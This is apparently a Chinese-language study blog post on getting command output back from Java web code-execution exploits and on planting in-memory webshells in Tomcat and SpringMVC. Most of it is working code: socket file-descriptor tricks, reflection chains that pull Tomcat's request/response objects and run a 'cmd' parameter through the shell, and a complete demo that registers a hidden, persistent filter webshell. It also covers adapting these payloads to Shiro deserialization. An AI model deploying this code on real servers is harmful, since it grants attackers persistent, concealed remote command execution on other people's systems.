Java Web代码执行漏洞回显总结

最近在学习几位师傅研究的Java Web代码执行漏洞下的回显方式,收获很多,能力有限,此文也没有什么新的思路,仅当个人学习笔记

在java漏洞利用中经常出现获取不到执行结果的情况,之前常见的方法即通过报错回显,OOB等,但在国内环境下大多数情况下都限制了对外的网络访问

通过文件描述符读写网络连接

这种方法的大概思路便是通过执行java代码获取发起这次请求时对应的服务端socket文件描述符,然后在文件描述符中写入回显内容

获取本次Http请求的socket文件描述符

在linux系统中,/proc/net/tcp文件显示了tcp的连接信息

先用nc监听

建立连接

/proc/net/tcp 中即可用服务端监听的端口确定本次连接,22B8(8888),对应还有一个inode

获取nc进程id

查看nc打开的文件,其中就有一个socket文件,且socket后对应的数字即是/proc/net/tcp中的inode

在/proc/net/tcp中同样有客户端发起请求的地址和端口号,那么通过指定客户端发起请求的源端口号就可拿到对应请求的socket文件的inode,再通过inode就能在fd目录下得到socket文件描述符

获取源端口为0F98的inode

获取inode为837648的文件描述符

1
2
3
inode=`cat /proc/net/tcp|awk '{if($10>0)print}'|awk '{print $3,$10}'|grep -i 0F98|awk '{print $2}'`
fd=`ls -l /proc/18866/fd|grep $inode|awk '{print $9}'`
echo -n $fd

Java读写socket

核心代码:

1
2
3
4
5
6
Constructor<FileDescriptor> c= FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
String ret = "00theway";
FileOutputStream os = new FileOutputStream(c.newInstance(new Integer(4)));
os.write(ret.getBytes());
os.close();

方便起见,直接用spring-boot创建了一个项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Test {
@RequestMapping("/test")
public String test(){
try{
//获取文件描述符
String[] cmd = new String[]{"/bin/sh","-c","inode=`cat /proc/net/tcp|awk '{if($10>0)print}'|awk '{print $3,$10}'|grep -i 22B8|awk '{print $2}'`;fd=`ls -l /proc/$PPID/fd|grep $inode|awk '{print $9}'`;echo -n $fd"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int fd = Integer.valueOf(stringBuilder.toString()).intValue();


//获取命令执行结果
cmd = new String[]{"/bin/sh","-c","whoami"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
String result = stringBuilder.toString();

//拼装成正常的HTTP响应
String response = "HTTP/1.1 200 OK\r\n"
+ "Content-Type: text/html\r\n"
+ "Content-Length: " + result.length()
+ "\r\n\r\n"
+ result
+ "\r\n\r\n";

//写入socket
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
os.write(response.getBytes());
os.close();

}catch (Exception e){
e.printStackTrace();
}

return "test";
}
}

局限

此种方法需要通过源端口或者ip的过滤来筛选出当前请求,但应用若在内网中或者在负载均衡等之后的话就没有办法再筛选出请求了,而且也只限于linux系统

获取Tomcat Response

这种方法的大概思路是顺着调用栈中response的传递过程,寻找response是否在某一处被记录下来

然后通过反射修改变量,来改变Tomcat处理请求时的流程,使得Tomcat处理请求时便将request,response存入ThreadLocal中,最后在反序列化的时候便可以利用ThreadLocal来取出response,然后写入回显

寻找Tomcat Response

要求类型得是ThreadLocal,这样才是属于当前线程,而且最好是一个static静态变量,如此,在org.apache.catalina.core.ApplicationFilterChain找到合适的变量lastServicedResponse

而且在处理我们Controller逻辑之前,已经记录下了request和response

获取response

但是这里if中的条件是不满足的,不会进入到request和response中的逻辑中去,而且就算if中的条件满足了,由于此时request和response为null,那么赋值也会失败

所以需要通过反射初始化该static final修饰的变量,修改ApplicationDispatcher.WRAP_SAME_OBJECT

第一次请求修改成功之后,第二次请求便能通过ApplicationFilterChain类拿到request和response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
public class Test {
@RequestMapping("/test")
public String test() {

try{
//获取各字段
java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");

//去掉final修饰符
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

//设置允许访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);

//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
if(!WRAP_SAME_OBJECT.getBoolean(null)){
WRAP_SAME_OBJECT.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
}else{
ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<javax.servlet.ServletResponse> threadLocalResponse = (ThreadLocal<javax.servlet.ServletResponse>) lastServicedResponse.get(null);
javax.servlet.ServletRequest request = threadLocalRequest.get();
javax.servlet.ServletResponse response = threadLocalResponse.get();

String cmd=request.getParameter("cmd");

if(cmd!=null){
String[] cmds=null;

if(System.getProperty("os.name").toLowerCase().contains("win")){
cmds=new String[]{"cmd.exe", "/c", cmd};
}else{
cmds=new String[]{"sh", "-c", cmd};
}

java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";

java.io.Writer writer = response.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
}

}catch (Exception e){
e.printStackTrace();
}



return "test";
}
}

控制台会有报错,而且网页不会输出原来正常的内容

在response.getWriter()之后加入如下代码将usingWriter的标志置为false即可

1
2
3
4
5
6
//目前得到的response是org.apache.catalina.connector.ResponseFacade,其封装了org.apache.catalina.connector.Response,要修改的usingWriter字段在后者中
java.lang.reflect.Field r=response.getClass().getDeclaredField("response");
r.setAccessible(true);
java.lang.reflect.Field usingWriter = Class.forName("org.apache.catalina.connector.Response").getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(r.get(response), Boolean.FALSE);

局限

正如作者文中所述,在shiro反序列化漏洞的利用中是不能成功的

下载shiro,运行官方给出的web demo,如果要跟踪到tomcat内部代码的话,先在pom.xml中加入相应版本的tomcat,因为运行时使用的是tomcat的lib目录下面的jar文件,所以此处的scope使用provided方式

1
2
3
4
5
6
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
<scope>provided</scope>
</dependency>

在shiro反序列化漏洞最终触发处org.apache.shiro.io.DefaultSerializer#deserialize和上文中存储request,response处下断点

会发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response(shiro的rememberMe功能其实是shiro实现的一个filter)

基于全局储存获取Tomcat Response

很多框架对于Serlvet进行了封装,不同框架实现不同,同一框架的不同版本实现也可能不同,因此我们无法利用一种简单通用的方法去获取当前请求的response

较之前文中获取response的方法,下文换了一种思路,不再寻求改变代码流程,而是寻找有没有Tomcat全局存储的request或response

寻找Tomcat Response

还是借spring boot项目,查看调用栈

发现Http11Processor中的request和response来自于父类AbstractProcessor,而且这两个Field都是final类型的,也就是说其在赋值之后,对于对象的引用不会改变,那么只要能够获取到这个Http11Processor就可以拿到request和response

在之前的调用链中的AbstractProtocol的内部类ConnectionHandler中在处理的时候就将当前的processor存储在了global中

其中这个RequestGroupInfo中的processors就是一个存储所有RequestInfo的List

再往后看调用栈,现在要寻找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)

在CoyoteAdapter的service方法中,发现CoyoteAdapter的connector这个Field有很多关于Request的操作

这个类中就有与AbstractProtocol有关的字段protocolHandler,这个field的类型为ProtocolHandler

可以看一下继承了ProtocolHandler的类,其中与HTTP11有关的也都继承了AbstractProtocol

处理请求的部分就寻找完了,为
Connector—–>AbstractProtocol$ConnectoinHandler——->global——–>RequestInfo——->Request——–>Response

而在Tomcat启动过程中有这样的方法,可以看到会将Connector放入Service中

这里的Service为StandardService

Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

那么如何破坏Java原有的类加载机制呢?如果上层的ClassLoader需要调用下层的ClassLoader怎么办呢?就需要使用****Thread Context ClassLoader,线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

说了那么多,其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

最后的路径

WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

获取response

在spring boot项目中添加了一个filter,用以模拟之前shiro触发漏洞的情况

1
2
3
4
5
6
7
@SpringBootApplication
@ServletComponentScan
public class SpringbootDemoApplication {
public static void main(String[] args) {
SpringApplication.run(SpringbootDemoApplication.class, args);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;


@WebFilter(filterName = "TestFilter", urlPatterns = "/*")
class TestFilter implements Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {

try{
//传递命令的参数名
String pass="cmd12138";

//WebappClassLoaderBase
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

//ApplicationContext
org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);

//StandardService
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

//Connector
org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();

//筛选Connector
for (int i=0;i<connectors.length;i++) {
if (connectors[i].getScheme().contains("http")) {

//AbstractProtocol$ConnectoinHandler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler= (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null);

//RequestGroupInfo
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);

//获取RequestGroupInfo中储存了RequestInfo的processors
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);

//通过QueryString筛选
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo= (org.apache.coyote.RequestInfo) list.get(k);
if(requestInfo.getCurrentQueryString().contains(pass)){

//request
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

//执行命令并回显
String cmd =request.getParameter(pass);
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();

break;
}
}

break;
}
}

}catch (Exception e){
e.printStackTrace();
}

chain.doFilter(request1, response1);
}
}

@RestController
public class Test {
@RequestMapping("/test")
public String test() throws InterruptedException {
return "test";
}
}

局限

测试shiro的时候,发现一个问题,生成的payload太长了 ,已经超过了Tomcat默认的max header的大小,经过一再缩减也没有成功,于是考虑通过改变Tomcat max header的大小解除限制,思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值

tomcat7 的结构不太一样,导致 tomcat 7 这种方法拿不到上下文中的 StandardContext

Tomcat内存WebShell

同样是需要先获取request/response,使用了前文第二种通过反射修改变量来改变Tomcat处理请求时的流程的方法

然后继续通过代码执行来动态创建一个filter,以完成一个持久性的内存WebShell

动态注册filter

Servlet,Listener,Filter由ServletContext去加载,无论是使用xml配置还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向Web容器中进行注册。Servlet 3.0 可以由ServletContext动态进行注册,因此需在Web容器初始化的时候(即建立ServletContext对象的时候)进行动态注册

1
2
3
4
5
6
7
8
9
10
class WebShell implements javax.servlet.Filter{
@Override
public void doFilter(javax.servlet.ServletRequest request, javax.servlet.ServletResponse response, javax.servlet.FilterChain chain) throws java.io.IOException, javax.servlet.ServletException {
System.out.println("filter");
}
}

javax.servlet.ServletContext servletContext=request.getServletContext();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("webShell", new WebShell());
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

但是直接抛出异常了

因为context.getState()在运行时返回的state已经是LifecycleState.STARTED

可以用反射进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
javax.servlet.ServletContext servletContext=request.getServletContext();

//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration("webShell") == null) {
//因为门面模式的使用,此处servletContext实际是ApplicationContextFacade,需要提取ApplicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);

//获取ApplicationContext中的StandardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

//修改state
java.lang.reflect.Field stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//注册filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("webShell", new WebShell());
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

//恢复成LifecycleState.STARTE,否则会造成服务不可用
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

但是刷新网页发现filter没有成功触发

实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke

跟入ApplicationFilterFactory.createFilterChain

可以看到,从context提取了FilterMap数组,并且遍历添加到filterChain,最终生效,但是这里有两个问题

1.跟入之前注册filter的org.apache.catalina.core.ApplicationContext#addFilter,发现filter被封装成FilterDef添加到了context的filterDefs中,但是filterMaps中并不存在

2.同理也不存在filterConfigs中(findFilterConfig是从context的filterConfigs中获取)

第一个问题其实在filterRegistration.addMappingForUrlPatterns解决了,已经添加到了filterMaps

而第二个问题,在StandardContext有一个方法filterStart,遍历了filterDefs,一个个实例化成ApplicationFilterConfig添加到filterConfigs中

那么通过反射调用即可

1
2
3
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

修改filter顺序

注册filter成功后,还可以优化一下,将该filter调整到最前面的位置

看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码

创建的顺序是根据filterMaps的顺序来的,只要将自己的filter放在filterMaps最前面即可

1
2
3
4
5
6
7
8
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}

完整Demo

直接在spring boot项目测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
public class Test {
@RequestMapping("/test")
public String test() {

try{
//获取各字段
java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");

//去掉final修饰符
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

//设置允许访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);

//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
if(!WRAP_SAME_OBJECT.getBoolean(null)){
WRAP_SAME_OBJECT.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
}else{
ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null);
javax.servlet.ServletRequest request = threadLocalRequest.get();

try {
javax.servlet.ServletContext servletContext=request.getServletContext();

//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration("webShell") == null) {

class WebShell implements javax.servlet.Filter{
@Override
public void doFilter(javax.servlet.ServletRequest request, javax.servlet.ServletResponse response, javax.servlet.FilterChain chain) throws java.io.IOException, javax.servlet.ServletException {
System.out.println("filter");
String cmd=request.getParameter("cmd");

if(cmd!=null) {
String[] cmds = null;

if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}

java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = response.getWriter();
writer.write(output);
writer.flush();
writer.close();
}

chain.doFilter(request, response);
}
}

//因为门面模式的使用,此处servletContext实际是ApplicationContextFacade,需要提取ApplicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);

//获取ApplicationContext中的StandardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

//修改state
java.lang.reflect.Field stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//注册filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("webShell", new WebShell());
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

//添加到filterConfigs
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

//调整filter位置
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}

//恢复成LifecycleState.STARTE,否则会造成服务不可用
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);

}

}catch (Exception e){
e.printStackTrace();
}

}

}catch (Exception e){
e.printStackTrace();
}

return "test";
}
}

先访问两次test路由(第一次请求修改属性,第二次得到request注册filter)

然后带上cmd参数访问任意url即可

局限

受限于获取request的方法,同样,在shiro中也是不能成功的

SpringMVC内存WebShell

在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境,在上下文环境中手动注册一个 controller,controller 中写入 WebShell 逻辑

SpringMvc工作原理

  1. 用户发送请求至前端控制器DispatcherServlet

  2. DispatcherServlet收到请求调用HandlerMapping处理器映射器

  3. 处理器映射器找到具体的处理器(可以根据xml配置、注解进行查找),生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet

  4. DispatcherServlet调用HandlerAdapter处理器适配器

  5. HandlerAdapter经过适配调用具体的处理器(Controller,也叫后端控制器)

  6. Controller执行完成返回ModelAndView

  7. HandlerAdapter将controller执行结果ModelAndView返回给DispatcherServlet

  8. DispatcherServlet将ModelAndView传给ViewReslover视图解析器

  9. ViewReslover解析后返回具体View

  10. DispatcherServlet根据View进行渲染视图(即将模型数据填充至视图中)

  11. DispatcherServlet响应用户

在spring中bean是被Spring IoC容器管理的一个个对象,BeanFactory接口是Spring IoC容器的实际代表者,ApplicationContext接口继承了BeanFactory接口,并通过继承其他接口进一步扩展了基本容器的功能,因此,org.springframework.context.ApplicationContext接口也代表了IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间的依赖

IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示

典型的SpringMvc项目配置

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>


<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

</web-app>

dispatcher-servlet.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"/>
<bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter"/>

<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>

<bean id="/hello" class="com.l3yx.controller.HelloController"/>

</beans>

ContextLoaderListener

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

ContextLoaderListener实质是一个listener,主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext,在web应用启动的,ContextLoaderListener读取contextConfigLocation中定义的xml文件,自动装配ApplicationContext的配置信息,并产生WebApplicationContext对象,然后将这个对象放置在ServletContext的属性里,这样我们就可以在servlet里得到WebApplicationContext对象

web.xml 中其相关配置如下

依照规范,当没有显式配置 ContextLoaderListener 的 contextConfigLocation 时,程序会自动寻找 /WEB-INF/applicationContext.xml作为配置文件,所以其实上面的 <context-param> 标签对可以去掉

DispatcherServlet

DispatcherServlet实质是一个servlet,主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View,DispatcherServlet 初始化完成后,会创建一个普通的 Child Context 实例

web.xml 中相关配置如下

依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找/WEB-INF/<servlet-name>-servlet.xml,作为配置文件。因为上面的 <servlet-name> 是 dispatcher,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcher-servlet.xml 配置文件

综上,每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器,而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器

如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext

获取context

Root Context 创建过程

Servlet容器会实例化ContextLoaderListener

org.springframework.web.context.ContextLoaderListener

该类继承ContextLoader,实现了ServletContextListener接口,使之具有listener功能,并且在contextInitialized方法中获得ServletContext

主要初始化任务在initWebApplicationContext(event.getServletContext()),该方法由其父类ContextLoader实现

